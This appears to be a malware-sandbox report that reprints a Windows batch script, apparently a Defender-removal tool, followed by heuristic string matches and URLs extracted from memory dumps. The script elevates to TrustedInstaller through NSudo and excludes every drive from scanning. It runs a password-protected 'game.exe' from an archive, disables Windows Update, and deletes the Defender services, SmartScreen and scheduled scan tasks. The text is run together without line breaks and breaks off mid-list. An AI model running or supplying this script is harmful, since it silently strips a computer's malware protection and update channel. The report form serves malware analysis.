REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1if /i "%USERNAME%" neq "%COMPUTERNAME%$" NSudoLG -U:T -P:E -UseCurrentConsole %0 any_word && exitset "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovever | findstr /c:"6.1.7601" >nul 2>&1 && goto :SkipUnlockerreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto :SkipUnlockerreg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && ( reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || ( NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]^::GetDrives^(^) ^| ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }^; Start-Sleep -Milliseconds 1000" >nul 2>&1 )7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe" >nulgame.exe /CurrentDiskSize:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f >nul 2>&1reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEMreg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /freg unload HKLM\TEMP_SYSTEMgame /delwd game /DelWD:FinishDeletedel /q game.exe >nul 2>&1reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f >nul 2>&1 :CreateRunOnceDelRegset "RegKey=HKLM\System\CurrentControlSet\Services"for %%p in (RegClean RegClean1) do reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "%%p" /t reg_sz /f /d "\"%~dp0hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak ^& reg delete %RegKey%\WdFilter /f ^& reg delete %RegKey%\WinDefend /f ^& reg delete %RegKey%\WdNisDrv /f ^& reg delete %RegKey%\MDCoreSvc /f ^& reg delete %RegKey%\WdNisSvc /f ^& reg delete %RegKey%\WdBoot /f\"" >nulexit /b:AppRepSysset "NameAppRep="for /f "usebackq delims=" %%n In (2^>nul reg query "HKU\%SID%\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" /f "*Apprep.ChxApp*" /k^|findstr ^H) do set NameAppRep=%%~nxnreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\S-1-5-18\%NameAppRep%" /f >nulreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\%SID%\%NameAppRep%" /f >nulNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -AllUsers *Apprep.ChxApp* | Remove-AppxPackage"NSudoLG -U:S -P:E -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -All *Apprep.ChxApp* | Remove-AppxPackage -User 'S-1-5-18' -ErrorAction SilentlyContinue"for /f "usebackq delims=" %%n In (2^>nul reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications" /f "*Apprep.ChxApp*" /k^|findstr ^H) do reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\%%~nxn" /f >nul 2>&1for /f "usebackq delims=" %%d In (2^>nul Dir "%ProgramData%\Microsoft\Windows\AppRepository\Packages\*Apprep.ChxApp*" /S /B /A:D) do rd /s /q "%%d"for /f "usebackq delims=" %%d In (2^>nul Dir "%LocalAppData%\Packages\*Apprep.ChxApp*" /S /B /A:D) do rd /s /q "%%d"game /unlock "%AllUsersProfile%\Microsoft\Windows Defender" "%SystemDrive%\Program Files\Windows Defender" "%SystemDrive%\Program Files (x86)\Windows Defender"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection""Windows Security Health"for %%d in ("Windows Defender""Windows Defender Sleep""Windows Defender Advanced Threat Protection""Windows Security""PCHealthCheck"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection"for %%f in (SecurityHealthService.exe SecurityHealthSystray.exeSecurityHealthHost.exe SecurityHealthAgent.dllSecurityHealthSSO.dll SecurityHealthProxyStub.dllsmartscreen.dll wscisvif.dll wscproxystub.dllsmartscreenps.dll wscapi.dll windowsdefenderapplicationguardcsp.dllwscsvc.dll SecurityHealthCore.dll SecurityHealthSsoUdk.dllSecurityHealthUdk.dll smartscreen.exe) do () >nul 2>&1) >nul 2>&1set "Counter=1"set "Counter64=1"for %%i in (08728914-3F57-4D52-9E31-49DAECA5A80A 10964DDD-6A53-4C60-917F-7B5723014344 17072F7B-9ABE-4A74-A261-1EB76B55107A195B4D07-3DE2-4744-BBF2-D90121AE785B 2781761E-28E0-4109-99FE-B9D127C57AFE 2981a36e-f22d-11e5-9ce9-5e5517507c662DCD7FDB-8809-48E4-8E4F-3157C57CF987 2EF44DE8-80C9-42D9-8541-F40EF0862FA3 3213CD15-4DF2-415F-83F2-9FC58F3AEB3A3522D7AF-4617-4237-AAD8-5860231FC9BA 361290c0-cb1b-49ae-9f3e-ba1cbe5dab35 36383E77-35C2-4B45-8277-329E4BEDF47F3886CA90-AB09-49D1-A047-7A62D096D2753CD3CA1E-2232-4BBF-A733-18B700409DA0 45F2C32F-ED16-4C94-8493-D72EF93A051B4DB116D1-9B24-4DFC-946B-BFE03E852002 5ffab5c8-9a36-4b65-9fc6-fb69f451f99c 6CED0DAA-4CDE-49C9-BA3A-AE163DC3D7AF6D40A6F9-3D32-4FCB-8A86-BE992E03DC76 7E66DBEF-2474-4E82-919B-9A855F4C2FE8 82345212-6ACA-4B38-8CD7-BF9DE8ED07BD849F5497-5C61-4023-8E10-A28F1A8C6A70 88866959-07B0-4ED8-8EF5-54BC7443D28C 8a696d12-576b-422e-9712-01b9dd84b4468C38232E-3A45-4A27-92B0-1A16A975F669 8E67B5C5-BAD3-4263-9F80-F769D50884F7 A2D75874-6750-4931-94C1-C99D3BC9D0C7a463fcb9-6b1c-4e0d-a80b-a2ca7999e25d A7C452EF-8E9F-42EB-9F2B-245613CA0DC9 C8DFF91D-B243-4797-BAE6-C461B65EDED3D5F7E36B-5B38-445D-A50F-439B8FCBB87A DACA056E-216A-4FD1-84A6-C306A017ECEC DBF393FC-230C-46CC-8A85-E9C599A81EFBE041C90B-68BA-42C9-991E-477B73A75C90 E476E4C0-409C-43CD-BBC0-5905B4138494 F2102C37-90C3-450C-B3F6-92BE1693BDF2F80FC80C-6A04-46FB-8555-D769E334E9FC FEEE9C23-C4E2-4A34-8C73-FE8F9786C8B4 D8559EB9-20C0-410E-BEDA-7ED416AECC2A) do (set /a Counter+=1set /a Counter64+=1exit /b:RestoreDefenderif not exist "%SystemRoot%\System32\config\systemprofile\Desktop" md "%SystemRoot%\System32\config\systemprofile\Desktop"set "BackupFolder="if not defined BackupFolder goto ManageDefenderpushd "%BackupFolder%"copy /y "Files\System32" "%SystemRoot%\System32"copy /y "Files\SysWOW64" "%SystemRoot%\SysWOW64"copy /y "Files\Windows\Containers\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\"copy /y "Files\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\serviced"xcopy "Folder\Program Files\*" "%ProgramFiles%\" /E /H /K /Yxcopy "Folder\Program Files (x86)\*" "%ProgramFiles(x86)%\" /E /H /K /Yxcopy "Folder\ProgramData\*" "%ProgramData%\" /E /H /K /Yxcopy "Folder\System32\*" "%SystemRoot%\System32" /E /H /K /Yxcopy "Folder\SysWow64\*" "%SystemRoot%\SysWow64" /E /H /K /Yxcopy "Folder\Windows\*" "%SystemRoot%\" /E /H /K /Yxcopy "Folder\WinSxS\*" "%SystemRoot%\WinSxS\" /E /H /K /Yfor %%f in ("RegEdit\*.reg") do reg import "%%f"for %%f in ("ServicesDrivers\*.reg") do reg import "%%f"reg delete "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /freg delete "HKLM\Software\Policies\Microsoft\MRT" /freg delete "HKLM\Software\DefenderKiller" /freg delete "HKLM\Software\DK" /f) >nul 2>&1popdNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /fNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /fchoice /c 12 /n /m " "if "%errorlevel%"=="1" call :AddExclusionRestore:CheckUpdate)) else ( exit" (Indicator: ""xcopy ") in Source: d6VJvaC.bat55:T1a2a,Heuristic match: "]m.nc" Heuristic match: "w_.pw" Heuristic match: "km.ad" Heuristic match: "}k.tg" Heuristic match: "ea.de" Heuristic match: "tv.se" Heuristic match: "b<.pf" Pattern match: "pjvw-pjww.pjrw/pjswhpjpwlpjqw" Pattern match: "www.nirsoft.netopenif" Pattern match: "https://midnight.im/" Heuristic match: "p_0.lv" Pattern match: "http://schemas.microsoft.com/smi/2019/windowssettings" Heuristic match: "midnight.im" Heuristic match: "get / http/1.1connection: keep-alivehost: midnight.im" Pattern match: "http://midnight.imx-frame-options" Heuristic match: "%windir%\syswow64\chcp.com" Heuristic match: "%windir%\system32\chcp.com" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "ft.powershell.co" Heuristic match: "icrosoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "www.digicert.com1" Heuristic match: "icrosoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1/0-" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "www.digicert.com1$0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/prod" Heuristic match: "9.15.cat" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0x" Pattern match: "http://www.microsoft.com/pki/certs/microsofttimestamppca.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "http://www.apache.org/licenses/license-2" Pattern match: "https://go.microsoft.com/fwlink/?linkid=393271" Heuristic match: ".sih.si" Heuristic match: "}x.si" Heuristic match: "%>}^d.si" Heuristic match: "=et.si" Heuristic match: "6-?p.si" Heuristic match: "l.si" Heuristic match: "gh.si" Heuristic match: "6d.si" Heuristic match: "14.si" Heuristic match: "gw$.si" Heuristic match: "-sih.si" Pattern match: "https://connect.microsoft.com/powershell/feedback/details"56:T5475,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000240.00000000.273897.00AF0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000240.00000000.273897.00BDE000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0fz3" - Source: "00000000-00000240.00000000.273897.00BDE000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000240.00000000.273897.00BDE000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00000240.00000000.273897.00BDE000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00000240.00000000.273897.00BDE000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00000240.00000000.273897.00BDE000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e&b" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;se]l+>%y" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0!(yewashington1redmond1microsoft" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?arizona1scottsdale1godaddy.com," - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://www.microsoft.com0zxz)'6*ldx" - Source: "00000000-00000240.00000000.273897.075F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000240.00000001.274224.00AF0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000240.00000001.274224.00BDE000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0n+" - Source: "00000000-00000240.00000001.274224.00BDE000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00000240.00000001.274224.00BDE000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00000240.00000001.274224.00BDE000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00000240.00000001.274224.00BDE000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00000240.00000001.274224.00BDE000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;se]l+>%y" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0!(yewashington1redmond1microsoft" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?arizona1scottsdale1godaddy.com," - Source: "00000000-00000240.00000001.274224.075F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsk2" - Source: "00000000-00000240.00000001.274224.07684000.00000004.mdmp") Found URL 